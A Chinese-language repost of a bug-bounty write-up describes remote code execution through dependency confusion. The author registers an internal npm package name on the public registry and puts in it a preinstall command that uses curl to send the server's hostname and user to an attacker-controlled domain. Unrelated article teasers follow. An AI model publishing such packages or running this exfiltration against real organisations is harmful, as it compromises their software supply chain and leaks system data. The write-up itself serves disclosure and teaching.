【网络安全】依赖混淆漏洞实现RCE

devtools/2024/9/23 6:11:25/

未经许可,不得转载。

文章目录

    • 正文

依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。

正文

我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。

我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun

这个脚本会将服务器的主机名和用户名发送到我控制的域。

img

包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。

img

在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:

img

img

原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643


http://www.ppmy.cn/devtools/115851.html

相关文章

【machine learning-15-如何判定梯度下降是否在收敛】

我们在运行梯度下降的时候&#xff0c;如何判定梯度下降是否在收敛呢&#xff1f; 梯度下降的时候&#xff0c;权重和偏置根据如下的公式同时更新&#xff1a; 程序要做的就是更新w 和 b&#xff0c;让梯度下降尽快的收敛&#xff0c;但是如何判定正在收敛呢&#xff1f; 方法…

Go小专栏 第一期

Go的前世今生 如标题所述&#xff0c;这篇文章主要是来聊聊Go的历史&#xff0c;现状以及未来&#xff0c;或者也可称为Go的发展脉络。我认为任何事物存在皆有原因&#xff0c;技术也不例外。这篇文章主要探讨Go为什么会出现&#xff0c;Go的特点。 Go为什么会出现&#xff1…

Android-UI设计

控件 控件是用户与应用交互的元素。常见的控件包括&#xff1a; 按钮 (Button)&#xff1a;用于执行动作。文本框 (EditText)&#xff1a;让用户输入文本。复选框 (CheckBox)&#xff1a;允许用户选择或取消选择某个选项。单选按钮 (RadioButton)&#xff1a;用于在多个选项中…

Maven国内镜像(四种)

配置Maven使用国内镜像是一个常见的做法&#xff0c;因为这样可以显著提高依赖下载的速度并避免网络不稳定带来的问题 在 settings.xml 文件中&#xff0c;需要添加或修改 <mirrors> 标签来指定国内镜像。 以下是几个可用的镜像 1. 阿里云 <mirrors> <mi…

prompt攻击与防范

Prompt攻击是指通过精心设计的输入提示来操纵AI模型&#xff0c;使其产生不准确或有害的输出。这些攻击可能包括提示词注入、提示词泄露和提示词越狱等。攻击者可能会尝试通过提供包含恶意内容的输入&#xff0c;来操纵语言模型的输出&#xff0c;或者从模型的响应中提取敏感或…

美食共享圈:Spring Boot校园周边美食平台

第二章 系统分析 2.1 可行性分析 可行性分析的目的是确定一个系统是否有必要开发、确定系统是否能以最小的代价实现。其工作主要有三个方面&#xff0c;分别是技术、经济和社会三方面的可行性。我会从这三个方面对网上校园周边美食探索及分享平台进行详细的分析。 2.1.1技术可行…

html 几行的空间分成3个区域

1.代码 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>三个区域示例</title> …

LeetcodeLCR 116. 省份数量

文章目录 题目原题链接思路C代码 题目 原题链接 LCR 116. 省份数量 思路 利用并查集的思想&#xff0c;将连接的诚实放在一个集合当中&#xff0c;最后遍历并查集数组判断有几颗树 初始化一个并查集&#xff1b;将连通的城市合并&#xff1b;统计并查集中树的个数&#xff1b…